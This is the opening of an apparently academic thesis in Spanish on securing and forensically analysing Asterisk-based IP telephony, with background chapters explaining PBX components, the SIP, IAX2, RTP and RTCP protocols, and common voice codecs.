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RESUMEN
En el primer cap&iacute;tulo, se estudian los antecedentes de la telefon&iacute;a IP, la
importancia que desarrolla a nivel corporativo as&iacute; como la incorporaci&oacute;n de
nuevas tecnolog&iacute;as. Se estudian los conceptos b&aacute;sicos de la telefon&iacute;a IP as&iacute;
como los elementos que forman parte de su estructura y funcionamiento.
Finalmente se describe las soluciones de telefon&iacute;a IP basadas en Asterisk m&aacute;s
utilizadas as&iacute; como sus vulnerabilidades m&aacute;s conocidas.
En el segundo cap&iacute;tulo, se realiza un an&aacute;lisis de las adquisiciones que el estado
realiza con respecto a sistemas de telefon&iacute;a IP as&iacute; como la seguridad de estos
sistemas, usando diferentes motores como: el Sistema Nacional de Compras
P&uacute;blicas y Shodan.
Adem&aacute;s se establecen los requisitos necesarios para la implementaci&oacute;n de un
prototipo de telefon&iacute;a IP local, que ayudar&aacute; a determinar las vulnerabilidades y
realizar pruebas de explotaci&oacute;n de las mismas en un ambiente controlado. Que
ayuden y sean parte fundamental en la propuesta de una gu&iacute;a de buenas
pr&aacute;cticas para protecci&oacute;n de sistemas de telefon&iacute;a IP basados en Asterisk.
Finalmente se implementa un prototipo de telefon&iacute;a IP expuesto en Internet, que
tiene como prop&oacute;sito demostrar el inadecuado control, administraci&oacute;n y sobre
todo configuraci&oacute;n de un sistema de telefon&iacute;a IP. Tambi&eacute;n proporcionar&aacute;
informaci&oacute;n real de un ataque que ser&aacute; insumo para el posterior an&aacute;lisis forense
que se estudia en el cap&iacute;tulo 3.
En el cap&iacute;tulo tres, se plantea una metodolog&iacute;a adecuada para realizar an&aacute;lisis
forense en incidentes producidos en sistemas de telefon&iacute;a IP basados en Asterisk,
el fundamento en metodolog&iacute;as aprobadas asegura que la propuesta es viable
para que la evidencia se pueda utilizar en un proceso legal. Adem&aacute;s se usa como
evidencia para tal prop&oacute;sito los datos reales obtenidos de la implementaci&oacute;n del
prototipo p&uacute;blico de telefon&iacute;a IP, accesible desde Internet.
En el cap&iacute;tulo cuatro se presentan las conclusiones y recomendaciones que son
producto del estudio y elaboraci&oacute;n del presente documento.
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PRESENTACI&Oacute;N
Hoy en d&iacute;a, las soluciones open source de telefon&iacute;a IP, han incrementado su
demanda con m&aacute;s rapidez en las empresas privadas y p&uacute;blicas ayudando y
siendo parte de la evoluci&oacute;n del sector de las Comunicaciones.
El uso de nuevas tecnolog&iacute;as y su adaptaci&oacute;n con servicios de telefon&iacute;a IP open
source, proyecta grandes ventajas frente a la telefon&iacute;a tradicional como: reducir
costos, flexibilidad y facilidad de integraci&oacute;n. Sin embargo, a pesar de todos los
beneficios que presentan tambi&eacute;n se ven amenazadas por diferentes tipos de
vulnerabilidades que est&aacute;n presentes en la plataforma de telefon&iacute;a IP o en sus
configuraciones inadecuadas.
En este proyecto de titulaci&oacute;n se analizar&aacute; las vulnerabilidades en sistemas de
telefon&iacute;a IP basados en Asterisk, con el objetivo de proporcionar informaci&oacute;n
t&eacute;cnica que ayude a mejorar su implementaci&oacute;n. Adem&aacute;s, se procura dar una
gu&iacute;a
confiable
de
configuraci&oacute;n
que
permita
protegerlos
frente
a
las
vulnerabilidades m&aacute;s conocidas; Mediante la evaluaci&oacute;n de los sistemas de
telefon&iacute;a IP basados en Asterisk
implementados en prototipos que permiten
realizar pruebas en un ambiente controlado (prototipo local) y un prototipo
expuesto arbitrariamente vulnerable en internet (prototipo p&uacute;blico).
Adem&aacute;s se analiza t&eacute;cnicas de an&aacute;lisis forense en sistemas inform&aacute;ticos para
consolidar y presentar una metodolog&iacute;a de an&aacute;lisis forense orientado a sistemas
de telefon&iacute;a IP.
Finalmente,
el
presente
documento
servir&aacute;
como
referencia
para
la
implementaci&oacute;n de an&aacute;lisis forense en sistemas de telefon&iacute;a IP, mediante la
adopci&oacute;n de un proceso que asegura obtener responsablemente la evidencia
digital y generar resultados confiables que puedan ser usados en juicios legales.
1
1 FUNDAMENTOS TE&Oacute;RICOS
1.1 ANTECEDENTES
La telefon&iacute;a es un servicio que se ha vuelto omnipresente en la vida del ser
humano. Tecnol&oacute;gicamente hablando, pocas cosas existen tan cotidianas para
toda la gente como hablar por tel&eacute;fono. Aunque gran parte de la comunicaci&oacute;n
telef&oacute;nica entre las personas ha sido reemplazada por comunicaci&oacute;n mediante
mensajes de texto, mensajer&iacute;a instant&aacute;nea, correo electr&oacute;nico e incluso redes
sociales, la atenci&oacute;n al cliente que ofrecen empresas prestadoras de servicios se
realiza todav&iacute;a en su mayor parte mediante comunicaciones telef&oacute;nicas.
Muchos de los clientes prefieren todav&iacute;a la velocidad y conveniencia de poder
levantar el auricular y obtener una respuesta inmediata al otro lado, aunque &eacute;sta
sea la de una contestadora autom&aacute;tica. Es as&iacute; que las centrales telef&oacute;nicas
privadas, los call centers y los centros de contacto que integran m&uacute;ltiples
tecnolog&iacute;as de comunicaciones son herramientas fundamentales para las
instituciones p&uacute;blicas y privadas para mantener la comunicaci&oacute;n entre los
empleados, con los ciudadanos y los clientes.
Este canal adicional de contacto se ha vuelto imprescindible para una empresa en
la actualidad, y se ha constituido tambi&eacute;n en un mecanismo para brindar imagen y
presencia. Por ello es com&uacute;n que las empresas aprovechen ese canal de
comunicaci&oacute;n con el cliente para reproducir anuncios y ofrecer promociones que
intentan consolidar la confianza de los consumidores.
Debido a la gran importancia del contacto telef&oacute;nico con el cliente, se han ido
incorporando nuevas tecnolog&iacute;as a estos sistemas como la de reconocimiento y
s&iacute;ntesis de voz para darle m&aacute;s fluidez al servicio de respuesta de voz interactiva,
por ejemplo. La voz ha ido convergiendo tambi&eacute;n con otros servicios y
tecnolog&iacute;as. La misma mensajer&iacute;a instant&aacute;nea se ha ido integrando con los
servicios de voz gracias a la convergencia de ambos en el protocolo de Internet.
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Esta convergencia ha puesto los servicios telef&oacute;nicos accesibles a trav&eacute;s de
Internet y ello ha permitido, por ejemplo, la conexi&oacute;n telef&oacute;nica a bajo costo entre
sucursales, y atenci&oacute;n telef&oacute;nica al consumidor sin costo a trav&eacute;s de Internet.
A pesar de las enormes ventajas que supone los nuevos componentes
tecnol&oacute;gicos disponibles, el ahorro de costos y la flexibilidad que ofrece la
convergencia en Internet de los servicios telef&oacute;nicos, muchos riesgos tambi&eacute;n se
incorporan al entorno de comunicaciones de las empresas.
1.2 CONCEPTO DE TELEFON&Iacute;A
Telefon&iacute;a es tecnolog&iacute;a que permite la transmisi&oacute;n de sonidos (voz, en mayor
medida) a larga distancia. Estos sonidos se transmiten mediante medios
el&eacute;ctricos o electromagn&eacute;ticos.
1.3 TELEFON&Iacute;A IP
La telefon&iacute;a IP es una tecnolog&iacute;a que permite comunicaciones telef&oacute;nicas
mediante el protocolo de Internet. M&aacute;s ampliamente, la telefon&iacute;a IP permite la
transmisi&oacute;n de la voz a trav&eacute;s de redes que utilizan la pila de protocolos TCP/IP.
Esto implica que la informaci&oacute;n (los sonidos, la voz) se transmite en forma de
paquetes desde que se generan en el origen hasta que llegan a su destino en
donde la informaci&oacute;n se re-ensambla. A diferencia de la telefon&iacute;a anal&oacute;gica que
utiliza conmutaci&oacute;n de circuitos para establecer un circuito dedicado por cada
llamada, en telefon&iacute;a IP los paquetes de datos que transportan la voz de una
llamada comparten un circuito con otras llamadas.
Una de las ventajas fundamentales de la telefon&iacute;a IP radica en la reducci&oacute;n de
costos (reutiliza las redes de datos existentes, terminales basados en software,
reducida dependencia en el hardware) y flexibilidad (f&aacute;cil integraci&oacute;n con diversas
tecnolog&iacute;as).
Usualmente se diferencia a la telefon&iacute;a IP de la voz sobre IP, en el sentido de que
la voz sobre IP consiste &uacute;nicamente en la transmisi&oacute;n de la voz mediante IP
mientras que la telefon&iacute;a IP involucra una serie de servicios agregados que se
ofrecen en torno a la transmisi&oacute;n de la voz, incluyendo la necesidad de proveer
mecanismos de calidad de servicio.
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1.4 ESTRUCTURA DE UN SISTEMA DE TELEFON&Iacute;A IP
1.4.1 TERMINALES TELEF&Oacute;NICOS [1]
Es el dispositivo mediante el cual un usuario se conecta a un sistema de
telecomunicaciones, generalmente para interactuar remotamente con otro
usuario. Se puede implementar a nivel de hardware o software. En telefon&iacute;a, este
terminal se conoce usualmente como tel&eacute;fono, pero actualmente su funcionalidad
se puede implementar incluso en el sistema operativo de un computador.
1.4.1.1
Tel&eacute;fono IP
Es un dispositivo terminal que, generalmente mediante una interfaz Ethernet, se
conecta a una red de datos, a trav&eacute;s de la cual le permite al usuario enviar voz y
comunicarse con otro.
1.4.1.2 Softphone
Es una aplicaci&oacute;n que implementa las funciones de un tel&eacute;fono com&uacute;n basado en
hardware y puede instalarse en computadores o dispositivos m&oacute;viles. Permite,
entre otras funciones, realizar y recibir llamadas telef&oacute;nicas IP mediante la
conexi&oacute;n de red que ofrece el computador y sistema operativo anfitri&oacute;n.
1.4.2 GATEWAY
Es un dispositivo que sirve de interfaz entre redes que utilizan distintas
tecnolog&iacute;as. En el caso de la telefon&iacute;a, permite com&uacute;nmente conectar tel&eacute;fonos
anal&oacute;gicos a la red de telefon&iacute;a IP y sistemas de telefon&iacute;a IP a la red de telefon&iacute;a
p&uacute;blica.
1.4.3 TARJETAS TELEF&Oacute;NICAS
Son interfaces que permiten a un dispositivo conectarse a redes de distintas
tecnolog&iacute;as. En una central telef&oacute;nica usualmente se tienen tarjetas telef&oacute;nicas
anal&oacute;gicas y digitales.
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1.4.3.1 Tarjetas Anal&oacute;gicas
Se utilizan en servidores de telefon&iacute;a IP e incluso en PCs para permitir la
conexi&oacute;n mediante una troncal a la PSTN (utilizando m&oacute;dulos FXO) o para
conectar terminales anal&oacute;gicos (utilizando m&oacute;dulos FXS).
M&oacute;dulos Foreign eXchange Station (FXS)
Emiten se&ntilde;alizaci&oacute;n (voltaje) y generan tono de marcado hacia el terminal.
Permiten conectar tel&eacute;fonos anal&oacute;gicos (o un equipo que pueda detectar o recibir
tono) a una central telef&oacute;nica IP. Tienen generalmente color verde.
Foreing eXchange Office (FXO)
Reciben se&ntilde;alizaci&oacute;n anal&oacute;gica (voltaje). Permiten a una central telef&oacute;nica
conectarse a la PSTN y generalmente es de color rojo.
1.4.3.2 Tarjetas Digitales [2]
Las tarjetas digitales permiten la conexi&oacute;n entre un sistema de telefon&iacute;a IP y la red
digital RDSI. Se usan para conectar un n&uacute;mero considerable de circuitos y
soportan conexiones E1 y T1. Se encuentran tarjetas digitales de dos tipos: BRI
(Basic Rate Interface) y PRI (Primary Rate Interface).
1.4.3.3 PBX - Private Branch Exchange
Una PBX es un sistema que gestiona de manera privada la comunicaci&oacute;n
telef&oacute;nica en entornos empresariales. Es capaz de permitir llamadas telef&oacute;nicas
internas, as&iacute; como la comunicaci&oacute;n de los usuarios con las redes telef&oacute;nicas
externas (PSTN, Internet) mediante troncales anal&oacute;gicas, digitales e IP.
Estos sistemas telef&oacute;nicos permiten adem&aacute;s enrutar las llamadas provenientes de
redes externas hacia las extensiones de la red telef&oacute;nica interna. Este control
sobre el enrutamiento de las llamadas permite al administrador de una PBX tener
informaci&oacute;n detallada sobre el tr&aacute;fico telef&oacute;nico y, dependiendo de la soluci&oacute;n
telef&oacute;nica, ofrecer diversos servicios como contestadora autom&aacute;tica, buz&oacute;n de
voz, reenv&iacute;o de llamada, etc.
Las PBX se han convertido en una necesidad de cualquier empresa que desee
dar una imagen corporativa cuando reciben llamadas de sus clientes. Adem&aacute;s,
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han evolucionado a sistemas m&aacute;s complejos (call centers, contact centers) para
cubrir las demandantes necesidades de atenci&oacute;n al cliente de empresas
prestadoras de servicios como instituciones p&uacute;blicas, proveedores de servicios de
comunicaciones, etc.
1.4.3.4 Visi&oacute;n General de un Sistema de Telefon&iacute;a IP
Un sistema de telefon&iacute;a IP tiene como n&uacute;cleo la central telef&oacute;nica o PBX que se
encarga de encaminar las llamadas entre distintos tipos de redes y, en este caso
se va a suponer que es una PBX IP. Las llamadas telef&oacute;nicas desde la red interna
se originan en los terminales que pueden ser anal&oacute;gicos o IP. Si son anal&oacute;gicos,
se pueden conectar a la red de telefon&iacute;a utilizando un gateway o a trav&eacute;s de una
tarjeta anal&oacute;gica con puertos y m&oacute;dulos FXS. Si los terminales son IP se conectan
directamente al switch de datos al que seguramente estar&aacute; conectada la PBX
mediante una interfaz Ethernet. Tambi&eacute;n es posible conectar a la PBX un
softphone instalado en un PC o dispositivo m&oacute;vil que tengan conectividad con la
PBX.
Las llamadas originadas en los terminales mencionados pueden encaminarse a
dispositivos dentro de la misma red telef&oacute;nica interna o hacia otras redes externas
como la red de telefon&iacute;a convencional, de telefon&iacute;a m&oacute;vil e incluso hacia
plataformas de telefon&iacute;a en Internet. La PBX podr&iacute;a tener la opci&oacute;n de encaminar
una llamada por varias redes, pero decidirse por aquella que represente el menor
costo de establecimiento.
Por otro lado, podr&iacute;an generarse llamadas hacia la PBX desde las distintas redes
externas a las que se encuentre conectada. La PBX se encargar&aacute; de encaminar
esas llamadas hacia terminales internas u ofrecer&aacute; otros servicios como
operadora autom&aacute;tica, consulta automatizada de informaci&oacute;n, acceso a otros
recursos de comunicaci&oacute;n, etc.
1.5 PROTOCOLOS DE SE&Ntilde;ALIZACI&Oacute;N
La se&ntilde;alizaci&oacute;n es el conjunto de informaci&oacute;n intercambiada entre dispositivos de
red que permite el control y gesti&oacute;n de los servicios de comunicaci&oacute;n. En telefon&iacute;a
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IP, por ejemplo, la se&ntilde;alizaci&oacute;n es responsable del establecimiento y liberaci&oacute;n de
una llamada.
1.5.1 PROTOCOLO SIP [3] [4]
El protocolo SIP (Session Initiation Protocol) se encuentra especificado en el RFC
3261, publicado en junio de 2002. Fue desarrollado por el grupo Multiparty
Multimedia Session Control (MMUSIC) de la IEFT1.
SIP es un protocolo cliente-servidor y estas funcionalidades son intercambiables.
La sintaxis y sem&aacute;ntica del protocolo se basa en protocolos como HTTP y SMTP.
1.5.1.1 Caracter&iacute;sticas
SIP es un protocolo de control de la capa de aplicaci&oacute;n que permite establecer,
modificar y liberar sesiones en una red IP entre dos o m&aacute;s usuarios. Las sesiones
pueden ser llamadas telef&oacute;nicas por Internet y conferencias multimedia.
SIP es compatible con la movilidad del usuario, interpreta y redirige las peticiones
en funci&oacute;n de la localizaci&oacute;n del usuario. Permite a&ntilde;adir o descartar participantes
mientras se ejecuta una llamada.
1.5.1.2 Mensajes SIP
El modelo de comunicaci&oacute;n cliente-servidor que utiliza SIP se basa en el
intercambio de mensajes del tipo solicitud-respuesta. Algunos de estos mensajes
se describen en literal 1.5.1.3.
1.5.1.3 Solicitudes SIP
Existen seis tipos de solicitudes SIP que realizan los clientes a un servidor. Estos
mensajes de solicitud se encuentran definidos en el RFC 3261 y se listan a
continuaci&oacute;n:
&middot;
INVITE: Es una solicitud que env&iacute;a un cliente a un servidor en la que indica
que desea establecer una sesi&oacute;n de llamada.
1
IETF – Internet Engineering Task Force, es el organismo encargado de administrar y desarrollar
los mecanismos de todo lo relacionado con Internet.
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&middot;
ACK: Es un mensaje mediante el que un cliente confirma la recepci&oacute;n de la
solicitud INVITE, indicando que se encuentra listo para establecer la
comunicaci&oacute;n con el cliente que gener&oacute; la solicitud INVITE.
&middot;
OPTIONS: Es un mensaje mediante el que se consulta y comunica
informaci&oacute;n sobre las capacidades y estado de clientes y servidores.
&middot;
BYE: Es un mensaje que indica la terminaci&oacute;n de una sesi&oacute;n previamente
establecida, y puede ser generado por cualquier cliente que forme parte de
dicha sesi&oacute;n.
&middot;
CANCEL: Es un mensaje mediante el que se cancela una solicitud
pendiente, no se puede ejecutar sobre una llamada establecida.
&middot;
REGISTER: Transmite la informaci&oacute;n referente a la posici&oacute;n de un cliente
(su direcci&oacute;n IP) a un servidor SIP. &Eacute;ste proceso permite que el servidor
SIP sepa d&oacute;nde encontrar a un cliente cuando es llamado.
1.5.1.4 Respuestas SIP
Cada solicitud realizada por los clientes debe obtener una respuesta, a excepci&oacute;n
del mensaje ACK. Las respuestas se representan por medio de un c&oacute;digo. El
c&oacute;digo se compone de tres d&iacute;gitos enteros del 100 al 699. Hay seis tipos de
respuestas que se detallan a continuaci&oacute;n:
&middot;
1XX -
Mensajes provisionales: Indican que hay un requerimiento en
progreso pero a&uacute;n no completado.
&middot;
2XX -
Respuesta final de &eacute;xito: Indica que la solicitud fue procesada y
aceptada. Debe ser la &uacute;ltima que recibe el cliente.
&middot;
3XX -
Respuesta de redirecci&oacute;n: Contiene informaci&oacute;n nueva sobre la
ubicaci&oacute;n actual del usuario o un servicio alternativo para poder realizar
satisfactoriamente la llamada.
&middot;
4XX -
Respuestas de fallo de solicitud: Indican la existencia de un error
al atender la solicitud del cliente.
&middot;
5XX -
Respuestas de fallo de servidor: Indican que el servidor no fue
capaz de procesar una solicitud.
&middot;
6XX -
Respuestas de falla global: Indican que una solicitud no puede ser
procesada por ning&uacute;n servidor.
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En la Figura 1.1, se muestra ejemplos de las posibles respuestas que se tiene a
una solicitud SIP.
Figura 1.1 Respuestas a mensajes SIP [5]
1.5.1.5 Funcionamiento del protocolo SIP
El protocolo SIP se basa en el intercambio de mensajes entre dos agentes de
usuario, un cliente y un servidor que desean comunicarse y establecer sesiones
multimedia. SIP funciona tanto con UDP como con TCP para enviar la informaci&oacute;n
de se&ntilde;alizaci&oacute;n. En ambos protocolos usa el puerto 5060.
Figura 1.2 Establecimiento de Sesi&oacute;n SIP [6]
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En la Figura 1.2, se muestra c&oacute;mo se establece una sesi&oacute;n SIP. Existen 4 tipos
de transacciones de mensajes que se identifican con diferentes colores.
Cabe destacar que el servidor SIP se conoce usualmente como Proxy SIP pues
se encarga de intermediar los mensajes de se&ntilde;alizaci&oacute;n generados por terminales
de usuario que se van a comunicar.
Primera transacci&oacute;n - Registro de Usuarios: Antes de iniciar cualquier
comunicaci&oacute;n entre ellos, los terminales A y B deben enviar solicitudes de tipo
REGISTER al servidor proxy que lleva las credenciales con las que se autentica el
terminal en el proxy SIP. Si la autenticaci&oacute;n es exitosa, el proxy responde con un
mensaje 200 OK confirmando que el proceso de registro ha sido exitoso. El
objetivo del proceso de registro es que los terminales puedan ser localizados
desde el servidor SIP.
Segunda transacci&oacute;n - Establecimiento de sesi&oacute;n: Cuando el usuario en el
terminal A quiere comunicarse (marca el n&uacute;mero destino) con el usuario en el
terminal, el terminal A env&iacute;a una petici&oacute;n INVITE hacia el proxy SIP, y este &uacute;ltimo
responde con un mensaje 100 TRYING (procesando petici&oacute;n) y adem&aacute;s reenv&iacute;a
la petici&oacute;n INVITE al terminal B. Luego, el terminal B le responde al proxy con un
mensaje 100 TRYING y luego con un mensaje 180 RINGING (tono de llamada).
Estos mensajes son reenviados por el proxy SIP al terminal A. Cuando el terminal
destino es contestado, se env&iacute;a al terminal A (mediante el proxy SIP) un mensaje
200 OK que indica que el terminal destino ha contestado. Finalmente, el terminal
A confirma el inicio de la sesi&oacute;n.
Tercera transacci&oacute;n – Llamada establecida: Una vez que la llamada se ha
establecido, el protocolo RTP permite el intercambio de los paquetes de voz.
Cuarta transacci&oacute;n – Cierre de sesi&oacute;n: Cuando uno de los terminales corta la
llamada, una petici&oacute;n de tipo BYE es generada desde el terminal que corta hacia
el otro mediante el proxy.
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1.5.2 PROTOCOLO IAX2 (Inter-Asterisk Exchange Protocol) [7]
Es un protocolo abierto desarrollado por la empresa Digium 2 para manejar
conexiones de telefon&iacute;a IP usualmente con (y entre) servidores Asterisk. El
protocolo se define en el RFC 5456.
IAX2 se refiere a la segunda versi&oacute;n del protocolo IAX (mencionado en adelante) y
al igual que SIP, es un protocolo punto a punto que incluye funciones de
se&ntilde;alizaci&oacute;n para manejar sesiones entre terminales y entre servidores de
telefon&iacute;a. Es robusto, simple y eficiente, aunque no se utiliza masivamente como
SIP.
Minimiza el ancho de banda necesario en la transmisi&oacute;n de voz y video mientras
se cursa una conexi&oacute;n.
1.5.2.1 Caracter&iacute;sticas
IAX utiliza un &uacute;nico puerto UDP, usualmente el 4569. Permite “troncalizar” varias
comunicaciones en un solo flujo de datos, con el prop&oacute;sito de poder trabajar con
un gran n&uacute;mero de canales activos entre terminales.
Permite manejar una gran cantidad de c&oacute;decs y un gran n&uacute;mero de streams, lo
que le permite dar soporte a otro tipo de aplicaciones para transportar cualquier
tipo de dato.
Tiene soporte nativo de NAT, y usa el mismo puerto para se&ntilde;alizaci&oacute;n y datos lo
que facilita que sus flujos pasen a trav&eacute;s de routers, firewalls y otros equipos de
red.
Este protocolo tiene la capacidad de autenticar de tres maneras: en formato de
texto, hash e intercambio de claves RSA.
1.5.2.2 Mensajes IAX
Los mensajes que define IAX, a diferencia de otros protocolos, est&aacute;n basados en
dos tipos de tramas:
2
Digium – Empresa especializada en la creaci&oacute;n de equipos para telefon&iacute;a, principalmente en la
plataforma de comunicaciones Asterisk.
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&middot;
Trama peque&ntilde;a M o Mini-frame: Es una trama de cabecera corta, de 4
bytes, no necesita confirmaci&oacute;n del lado del receptor y permite enviar
mayor cantidad de datos ya sea de voz o video.
&middot;
Trama completa F o Full-frame: Esta trama es utilizada para enviar
se&ntilde;alizaci&oacute;n, audio o video de manera segura, siempre debe ser
respondida con un ACK para confirmar su recepci&oacute;n.
1.5.2.3 Tipos de mensajes:
&middot;
NEW: Inicia una llamada
&middot;
ACCEPT: Permite aceptar el establecimiento de una llamada.
&middot;
ACK: Para informar de la recepci&oacute;n de un mensaje.
&middot;
RINGING: Permite informar que el inicio de llamada est&aacute; en proceso.
&middot;
ANSWER: Para indicar que se acept&oacute; el establecimiento de una llamada y
que se inicia el env&iacute;o de streams.
&middot;
HANGUP: Sirve para indicar que desde un terminal se ha colgado una
llamada.
&middot;
AUTHREQ: Se env&iacute;a como respuesta a un mensaje NEW, para solicitar
credenciales de autenticaci&oacute;n.
&middot;
AUTHREP: Se env&iacute;a como respuesta a un AUTHREQ con la informaci&oacute;n
necesaria para la autenticaci&oacute;n.
1.5.2.4 Funcionamiento de IAX
IAX permite que la se&ntilde;alizaci&oacute;n y los datos transportados entre dos puntos sean
multiplexados a trav&eacute;s del mismo puerto. En la Figura 1.3, se muestra el
procedimiento para el establecimiento de una sesi&oacute;n IAX, que se lleva a cabo
mediante 3 tipos de transacciones de mensajes, que se identifican con diferentes
colores.
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Figura 1.3 Establecimiento de Sesi&oacute;n IAX [8]
Primera transacci&oacute;n – Establecimiento de la llamada: El terminal A solicita el inicio
de una llamada con una petici&oacute;n de tipo NEW. Luego, el terminal B indica que
est&aacute; en capacidad de establecer la sesi&oacute;n con un mensaje ACCEPT. El terminal A
confirma la recepci&oacute;n del mensaje ACCEPT con un ACK. Posteriormente,
el
terminal B env&iacute;a un mensaje RINGING (procesando petici&oacute;n) y un mensaje
ANSWER cuando contesta la llamada para notificarlo al terminal A. Finalmente el
terminal A confirma la recepci&oacute;n del &uacute;ltimo mensaje con un ACK y se establece la
llamada para el inicio del flujo de datos. Todos estos mensajes son enviados entre
los terminales a trav&eacute;s del servidor de telefon&iacute;a o Proxy IAX.
Segunda transacci&oacute;n – Flujo de datos o audio: Una vez que se ha establecido la
sesi&oacute;n, se inicia con la transmisi&oacute;n de voz o video y se transmiten tramas del tipo
M y F en ambos sentidos.
Tercera transacci&oacute;n – Cierre de sesi&oacute;n: Para finalizar una llamada, cualquiera de
los dos terminales conectados env&iacute;a un mensaje HANGUP al otro.
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1.6 PROTOCOLOS DE TRANSPORTE EN TIEMPO REAL
La telefon&iacute;a IP es una aplicaci&oacute;n de tiempo real puesto que involucran
conversaciones de voz que, para que se lleven a cabo con &eacute;xito, requieren que la
informaci&oacute;n generada desde un terminal se transmita casi instant&aacute;neamente al
otro terminal. Si el transporte de los datos en forma de voz no es casi instant&aacute;neo
(tiempo real), una conversaci&oacute;n no es posible. Debido a esa necesidad particular,
el flujo de voz en telefon&iacute;a IP no se transporta usando TCP sino UDP3. Sin
embargo, UDP no ofrece mecanismos como marcado de tiempo o de secuencia,
que son necesarios para re-ensamblar los segmentos de voz en el destino. Los
requisitos estrictos de las comunicaciones de voz hacen que sea necesario el
soporte de otros protocolos que ofrecen los mecanismos de los que carece UDP
Estos protocolos de transporte en tiempo real son RTP y RTCP.
1.6.1 RTP (REAL TIME TRANSPORT PROTOCOL)
Es un protocolo que est&aacute; orientado a la transmisi&oacute;n de informaci&oacute;n en tiempo real.
Desarrollado por el grupo de trabajo de transporte de Audio y Video de la IETF,
que se especifica en el RFC 3550.
Este protocolo tiene como objeto proporcionar servicios de difusi&oacute;n unicast o
multicast de audio, video, videoconferencia y simulaciones en tiempo real de
extremo a extremo en redes IP.
1.6.1.1 Caracter&iacute;sticas
Este protocolo no es confiable debido a que se implementa sobre el protocolo de
transporte UDP, cambiando as&iacute; confiabilidad por velocidad, lo que se requiere
para la transmisi&oacute;n en tiempo real. Los paquetes RTP no contienen campo de
longitud, es UDP quien encapsula la voz comprimida en datagramas.
El protocolo RTP trabaja junto con RTCP, el cual le provee de mecanismos de
control que RTP no posee.
RTP no garantiza el tiempo de entrega de la informaci&oacute;n, pero asigna una
secuencia a los paquetes que ayuda a identificar la posici&oacute;n dentro del flujo de
3
UDP – User Datagram Protocol, Protocolo de capa de transporte del Modelo OSI no orientado a
la conexi&oacute;n.
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paquetes de voz transportados. Adicionalmente, env&iacute;a informaci&oacute;n sobre el
tiempo, identificaci&oacute;n y sincronismo de los paquetes.
Este protocolo no realiza ninguna reserva de recursos, con el prop&oacute;sito de evitar
p&eacute;rdida de paquetes.
1.6.2 RTCP (REAL TIME CONTROL PROTOCOL)
Este protocolo es complementario al protocolo RTP. Cada flujo RTP cuenta con
informaci&oacute;n adicional proporcionada por RTCP, que se utiliza para realizar un
seguimiento de la calidad de la transmisi&oacute;n.
1.6.2.1 Caracter&iacute;sticas
RTCP se basa en transmitir peri&oacute;dicamente paquetes de control a todos los
participantes de una sesi&oacute;n multimedia, notificando la calidad de comunicaci&oacute;n.
La informaci&oacute;n adicional que proporciona RTCP es:
&middot;
Detalles sobre participantes en una sesi&oacute;n de intercambio de datos,
estad&iacute;sticas de rendimiento y p&eacute;rdidas, que permiten luego realizar cierto
control de flujo y congesti&oacute;n, sincroniza el audio y video.
&middot;
Permite determinar si la congesti&oacute;n es local o generalizada.
UDP es el protocolo encargado de multiplexar los paquetes de datos RTP y los
paquetes de control RTCP.
1.6.2.2 Mensajes RTCP
RTCP provee 5 tipos de mensajes que se detallan a continuaci&oacute;n:
&middot;
SR (Sender Report): Son mensajes que contienen informaci&oacute;n propia del
emisor de un flujo, por ejemplo estad&iacute;sticas de los datos transmitidos.
&middot;
RR (Receiver Report):
Son mensajes que
contienen estad&iacute;sticas
calculadas sobre los datos recibidos, por ejemplo la cantidad de
informaci&oacute;n que ha llegado a un receptor.
&middot;
SDES (Source Description): Son mensajes enviados por todos los
participantes de una sesi&oacute;n multimedia para describir informaci&oacute;n sobre
ellos como: nombre, email, tel&eacute;fono, etc.
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&middot;
BYE: Permite a un participante indicar el fin de su participaci&oacute;n en una
sesi&oacute;n.
&middot;
APP: Es un mensaje de se&ntilde;alizaci&oacute;n que indica funciones espec&iacute;ficas de
acuerdo a la aplicaci&oacute;n utilizada.
1.6.3 C&Oacute;DECS
C&Oacute;DEC es la abreviatura de COdificador/DECodificador. En la actualidad tambi&eacute;n
est&aacute; relacionado con Compresi&oacute;n/DECompresi&oacute;n. Describe una especificaci&oacute;n
desarrollada en software, hardware o una combinaci&oacute;n de los dos.
Los c&oacute;decs son b&aacute;sicamente algoritmos que emplean filtros matem&aacute;ticos para
transformar la se&ntilde;al de voz anal&oacute;gica a formato digital (bits) y viceversa. Existen
varias formas de transformar el audio dando lugar a los diferentes tipos de
c&oacute;decs. La calidad de voz que es capaz de ofrecer un c&oacute;dec usando el mismo
ancho de banda, se considera el mejor.
Los c&oacute;decs se clasifican de acuerdo a varios factores como: velocidad de
transmisi&oacute;n, calidad de audio codificado, requerimiento de ancho de banda y
requisitos computacionales, entre otros.
En la Tabla 1.1, se muestra los c&oacute;decs m&aacute;s utilizados en la actualidad.
Nombre Est&aacute;ndar Codificaci&oacute;n
G.711
G.723
G.726
G.728
G.729
GSM
ITU-T
ITU-T
ITU-T
ITU-T
ITU-T
ETSI
PCM
Multi-rate Coder
ADPCM
CELP
CELP
RPE-LPT
Velocidad
de
Transmisi&oacute;n
(Kbps)
64
5.3/6.3
16/24/32/40
16
8
13
Frecuencia
de
Muestreo
(KHz)
8
8
8
8
8
8
Necesita
Licencia
No
Si
No
No
Si
No
Tabla 1.1 C&oacute;decs [9]
1.7 SOLUCIONES DE TELEFON&Iacute;A IP BASADAS EN ASTERISK
Asterisk es una aplicaci&oacute;n de software libre que brinda funcionalidades de una
PBX IP. Ofrece gran versatilidad y ha llegado a ser tan popular que varias
soluciones se han creado basadas en el n&uacute;cleo que ofrece Asterisk. Estas
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soluciones facilitan la gesti&oacute;n del servicio telef&oacute;nico mediante interfaces basadas
en web. Aunque la potencialidad (flexibilidad, funcionalidad y robustez) de
Asterisk se manifiesta en las interfaces de aplicaci&oacute;n y de l&iacute;nea de comandos que
ofrece, estas soluciones derivadas han conseguido tambi&eacute;n mucha popularidad
en el p&uacute;blico a nivel empresarial.
1.7.1 ASTERISK
Asterisk fue desarrollada &uacute;nica y exclusivamente para el sistema operativo Linux
por la empresa Digium. Actualmente Asterisk se distribuye para otros sistemas
operativos como Windows, Mac OS X, BSD y Solaris.
Asterisk permite realizar la implementaci&oacute;n de una PBX privada. Posee gran
flexibilidad ya que incorpora m&oacute;dulos que implementan est&aacute;ndares de telefon&iacute;a
tradicional e IP que adem&aacute;s pueden integrarse entre s&iacute;.
Asterisk en el sistema operativo es un servicio (demonio) que se ejecuta en
segundo
plano
como
apache,
openssh,
proftpd,
bind,
etc.
Ha
sido
cuidadosamente desarrollado para ofrecer flexibilidad en base a su plan de
marcado. El plan de marcado es el componente esencial que se encarga de
gestionar el proceso de cada llamada que se realiza mediante la PBX.
